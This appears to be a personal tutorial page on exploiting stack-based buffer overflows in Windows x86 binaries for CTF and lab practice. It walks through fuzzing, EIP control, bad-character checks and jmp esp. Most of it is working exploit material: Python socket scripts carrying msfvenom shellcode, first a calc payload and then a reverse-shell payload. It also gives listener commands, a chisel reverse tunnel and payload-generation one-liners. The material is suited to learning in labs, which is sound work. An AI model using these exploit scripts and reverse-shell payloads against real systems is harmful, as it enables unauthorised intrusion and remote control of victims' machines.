Buffer Overflow - Stack based - Winx86

For the buffer overflow, you need to take the binary you want to investigate and put it in your own lab to analyse and test it. Sometimes for CTF or on CTF platforms you will have to get it from the remote machine.

Some advice on how to learn

When I started, I found buffer overflow very hard. And today I almost enjoy it ;) :D

In order to understand it better, here is what I did:

  • Checked out Heath Adams video The Cyber Mentor on youtube (completely free, clear and very well explained)

  • Complemented this with the cours on HTB Academy

  • Finally I practiced on some boxes on TryHackMe

See links in the resources below



Immunity Debbuger


  • Plugin for x64gdb

  • ERC --help will show help menu

  • ERC --config SetWorkingDirectory C:\Users\User\directory Set default working directory

Set up your testing lab

  • Virtualbox or VMWare

  • One kali

  • One win


Note: The scripts provided here are shown as example, you will have to modify them according to the behavior of the binary you are testing

  • For remote buffer overflow to connect to the target and check a specific port you can use netcat nc -nv IP.IP.IP.IP PORT

1. Fuzzing parameters

  • Remote fuzzing

    • netstat -a | to check if the bin listens on a specific port

      Proto  Local Address          Foreign Address        State
      TCP          IEWIN7:0               LISTENING
    • You will need chisel On your attacking machine ./chisel server -reverse On your victim machine .\chisel.exe client IP-DE-KALI:8080 R:21449:

    • From your attacking machine .\nc.exe PortNumber | to interact with the bin remotely

    • Start fuzzing

      import socket
      from struct import pack
      IP = ""
      port = 21449
      def fuzzing():
             for i in range(0,10000,500):
                 buffer = b"A"*i
                 print("Fuzzing %s bytes" % i)
                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                 s.connect((IP, port))
                 # To follow in console until you reach the error you can type c and enter
                 print("Could not establish a connection")

      Here is how it looks in your console:

      └─$ python3 fuzz.py
      Fuzzing 0 bytes
      > /home/kali/Documents/bof-htb/assessment.py(16)fuzzing()
      -> s.close()
      (Pdb) c
      Fuzzing 500 bytes
      > /home/kali/Documents/bof-htb/assessment.py(15)fuzzing()
      -> breakpoint()

Controlling EIP

Once we get the number of bytes, we can fill our buffer with an ASCII pattern.

  • In x32dbg

    ERC --pattern c 500

    Erc will generate a txt with a pattern that will be available in your working directory (if you did not set a working dir, it will probably end up in the plugins folder) It should be named "Pattern_Create_1.txt"

  • We modify our script accordingly

    # fuzzing()
    def eip_offset():
       pattern = bytes("PATTERN-HERE"
       "PATTERN-HERE" ,"utf-8")
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect((IP, port))
    # eip_offset()
    def eip_control():
            offset = 469
            buffer = b"A"*offset
            eip = b"B"*4
            payload = buffer + eip
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((IP, port))

3. Identifying Bad Characters

We now need another function to identify bad chars. To get a list of badchars we can use the following command with ERC ERC --bytearray we will then get a file intitled ByteArray_1.txt in our working directory. And we can then update our script:

def bad_chars():
	all_chars = bytes([
		0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
		0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
		0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
		0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
		0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
		0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
		0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
		0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
		0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
		0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
		0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
		0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
		0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
		0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
		0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
		0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
		0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
		0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
		0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
		0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
		0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
		0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
		0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
		0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
		0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
		0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
		0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
		0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
		0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
		0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
		0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
		0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
	offset = 469
	buffer = b"A"*offset
	eip = b"B"*4
	payload = buffer + eip + all_chars
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((IP, port))

ERC --compare 016EFB60 C:\Users\User\working-dir\ByteArray_1.bin

In our example for example we can see that 0x00 seems to be a bad char. So we have to repeat this same process again and remove 0x00 from our list. To get the new list we can use ERC again and specify to remove 0x00 ERC --bytearray -bytes 0x00 We do this again and again until we do not have any bad chars anymore.

4. Finding a return Instruction

We can use ERC to list modules: ERC --ModuleInfo

5. Jumping to Shellcode

Now that we know where is jmp esp we can create our shellcode with msfvenom and specify the badchars In our local env we will launch calc

msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00\x0a\x0d' We can comment the bad_chars function and define our last exploit function

We will make our final payload which will send the buffer, the eip, some nop and our shellcode.

As the top of the stack can move we'll add some nop (no operations)

To be safe we can put 32 nops because it rarely reaches 32 bytes (not more than 16 in general)

And as we are going to use pack we need to import the necessary python modules, pack will allow us to manage the little Endian and we will use '<L' to specify Little Endian.

And so in EIP we put the address of jmp esp in little endian.

And here is our last function ready to be sent:

def exploit():

# msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00\x0a\x0d'
        buf =  b""
        buf += b"\xdb\xd1\xbe\x2f\xeb\xc4\x18\xd9\x74\x24\xf4\x5a\x31"
        buf += b"\xc9\xb1\x31\x31\x72\x18\x83\xc2\x04\x03\x72\x3b\x09"
        buf += b"\x31\xe4\xab\x4f\xba\x15\x2b\x30\x32\xf0\x1a\x70\x20"
        buf += b"\x70\x0c\x40\x22\xd4\xa0\x2b\x66\xcd\x33\x59\xaf\xe2"
        buf += b"\xf4\xd4\x89\xcd\x05\x44\xe9\x4c\x85\x97\x3e\xaf\xb4"
        buf += b"\x57\x33\xae\xf1\x8a\xbe\xe2\xaa\xc1\x6d\x13\xdf\x9c"
        buf += b"\xad\x98\x93\x31\xb6\x7d\x63\x33\x97\xd3\xf8\x6a\x37"
        buf += b"\xd5\x2d\x07\x7e\xcd\x32\x22\xc8\x66\x80\xd8\xcb\xae"
        buf += b"\xd9\x21\x67\x8f\xd6\xd3\x79\xd7\xd0\x0b\x0c\x21\x23"
        buf += b"\xb1\x17\xf6\x5e\x6d\x9d\xed\xf8\xe6\x05\xca\xf9\x2b"
        buf += b"\xd3\x99\xf5\x80\x97\xc6\x19\x16\x7b\x7d\x25\x93\x7a"
        buf += b"\x52\xac\xe7\x58\x76\xf5\xbc\xc1\x2f\x53\x12\xfd\x30"
        buf += b"\x3c\xcb\x5b\x3a\xd0\x18\xd6\x61\xbe\xdf\x64\x1c\x8c"
        buf += b"\xe0\x76\x1f\xa0\x88\x47\x94\x2f\xce\x57\x7f\x14\x20"
        buf += b"\x12\x22\x3c\xa9\xfb\xb6\x7d\xb4\xfb\x6c\x41\xc1\x7f"
        buf += b"\x85\x39\x36\x9f\xec\x3c\x72\x27\x1c\x4c\xeb\xc2\x22"
        buf += b"\xe3\x0c\xc7\x40\x62\x9f\x8b\xa8\x01\x27\x29\xb5"
        offset = 469
        buffer = b"A"*offset
        eip = pack('<L', 0x621014E3)
        nop = b"\x90"*32
        payload = buffer + eip + nop +buf
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((IP, port))

At this point we can just try t without the debugger, we should see the calc pop up in our test machine.

Use our exploit in the real target

So now that our exploi works locally we can use it on the target. We can change our shellcode to get a reverse shell instead of launching calc. msfvenom -p 'windows/shell_reverse_tcp' LHOST=ATTACKING-MACHINE-IP LPORT=1234 -f 'python' -b '\x00\x0a\x0d' Here is our final script:

import socket
from struct import pack


def exploit():
# msfvenom -p 'windows/shell_reverse_tcp' LHOST= LPORT=1234 -f 'python' -b '\x00\x0a\x0d'
        buf =  b""
        buf += b"\xbb\xac\xfa\x74\x82\xdb\xca\xd9\x74\x24\xf4\x5d\x31"
        buf += b"\xc9\xb1\x52\x31\x5d\x12\x03\x5d\x12\x83\x69\xfe\x96"
        buf += b"\x77\x8d\x17\xd4\x78\x6d\xe8\xb9\xf1\x88\xd9\xf9\x66"
        buf += b"\xd9\x4a\xca\xed\x8f\x66\xa1\xa0\x3b\xfc\xc7\x6c\x4c"
        buf += b"\xb5\x62\x4b\x63\x46\xde\xaf\xe2\xc4\x1d\xfc\xc4\xf5"
        buf += b"\xed\xf1\x05\x31\x13\xfb\x57\xea\x5f\xae\x47\x9f\x2a"
        buf += b"\x73\xec\xd3\xbb\xf3\x11\xa3\xba\xd2\x84\xbf\xe4\xf4"
        buf += b"\x27\x13\x9d\xbc\x3f\x70\x98\x77\xb4\x42\x56\x86\x1c"
        buf += b"\x9b\x97\x25\x61\x13\x6a\x37\xa6\x94\x95\x42\xde\xe6"
        buf += b"\x28\x55\x25\x94\xf6\xd0\xbd\x3e\x7c\x42\x19\xbe\x51"
        buf += b"\x15\xea\xcc\x1e\x51\xb4\xd0\xa1\xb6\xcf\xed\x2a\x39"
        buf += b"\x1f\x64\x68\x1e\xbb\x2c\x2a\x3f\x9a\x88\x9d\x40\xfc"
        buf += b"\x72\x41\xe5\x77\x9e\x96\x94\xda\xf7\x5b\x95\xe4\x07"
        buf += b"\xf4\xae\x97\x35\x5b\x05\x3f\x76\x14\x83\xb8\x79\x0f"
        buf += b"\x73\x56\x84\xb0\x84\x7f\x43\xe4\xd4\x17\x62\x85\xbe"
        buf += b"\xe7\x8b\x50\x10\xb7\x23\x0b\xd1\x67\x84\xfb\xb9\x6d"
        buf += b"\x0b\x23\xd9\x8e\xc1\x4c\x70\x75\x82\x78\x8f\x7b\xa1"
        buf += b"\x15\x8d\x83\x41\x34\x18\x65\x23\xa8\x4d\x3e\xdc\x51"
        buf += b"\xd4\xb4\x7d\x9d\xc2\xb1\xbe\x15\xe1\x46\x70\xde\x8c"
        buf += b"\x54\xe5\x2e\xdb\x06\xa0\x31\xf1\x2e\x2e\xa3\x9e\xae"
        buf += b"\x39\xd8\x08\xf9\x6e\x2e\x41\x6f\x83\x09\xfb\x8d\x5e"
        buf += b"\xcf\xc4\x15\x85\x2c\xca\x94\x48\x08\xe8\x86\x94\x91"
        buf += b"\xb4\xf2\x48\xc4\x62\xac\x2e\xbe\xc4\x06\xf9\x6d\x8f"
        buf += b"\xce\x7c\x5e\x10\x88\x80\x8b\xe6\x74\x30\x62\xbf\x8b"
        buf += b"\xfd\xe2\x37\xf4\xe3\x92\xb8\x2f\xa0\xa3\xf2\x6d\x81"
        buf += b"\x2b\x5b\xe4\x93\x31\x5c\xd3\xd0\x4f\xdf\xd1\xa8\xab"
        buf += b"\xff\x90\xad\xf0\x47\x49\xdc\x69\x22\x6d\x73\x89\x67"
        offset = 469
        buffer = b"A"*offset
        eip = pack('<L', 0x621014E3)
        nop = b"\x90"*32
        payload = buffer + eip + nop +buf
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((IP, port))

Useful commands


  • /usr/bin/msf-pattern_create -l 5000 Create a Pattern with msf-pattern (Metasploit)

  • /usr/bin/msf-pattern_offset -q 31684630 Find Pattern Offset with Metaplsoit

  • netstat -a \|findstr LISTEN List listening ports on a Windows machine

  • nc 8888 Interact with port 8888

  • msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00' Generate a Local Privesc Shellcode

  • msfvenom -p 'windows/shell_reverse_tcp' LHOST=IP-ADR-OF-TARGET LPORT=1234 -f 'python' -b '\x00\0x0a' Generate a Reverse Shell Shellcode

  • nc -lvnp 1234 catch our reverse shell

Useful in x32dbg with ERC module installed

  • F3 Open file

  • alt+A Attach to a process

  • alt+L Go to Logs Tab

  • alt+E Go to Symbols Tab

  • ctrl+f Search for instruction

  • ctrl+b Search for pattern

  • Search For>All Modules>Command Search all loaded modules for instruction

  • Search For>All Modules>Pattern Search all loaded modules for pattern

  • ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\ Configure Working Directory

  • ERC --pattern c 5000 Create Pattern

  • ERC --pattern o pA6p Find Pattern Offset

  • ERC --bytearray Generate All Characters Byte Array

  • ERC --bytearray -bytes 0x00 Generate Byte Array excluding certain bytes

  • ERC --compare 0014F974 C:\Users\User\working-dir\ByteArray_1.bin Compare bytes in memory to a Byte Array file

  • ERC --ModuleInfo List loaded modules and their memory protections

Useful in Python

  • `python -c "print('A'*10000)" Print 10000 'A's

  • python -c "print('A'*10000, file=open('fuzz.wav', 'w'))" Write it to a file

  • breakpoint() Add a breakpoint to Python exploit

  • c Continue from breakpoint


Buffer overflow made easy 2022 Edition - The Cyber Mentor
Buffer Overflows Made Easy - The Cyber Mentor
Stack-Based Buffer Overflows on Windows x86 - HackTheBox Academy
Buffer Overflow Prep - THM
Brainstorm - THM
Brainpan - THM
Gatekeeper - THM
x64dbg releases
ERC releases

Last updated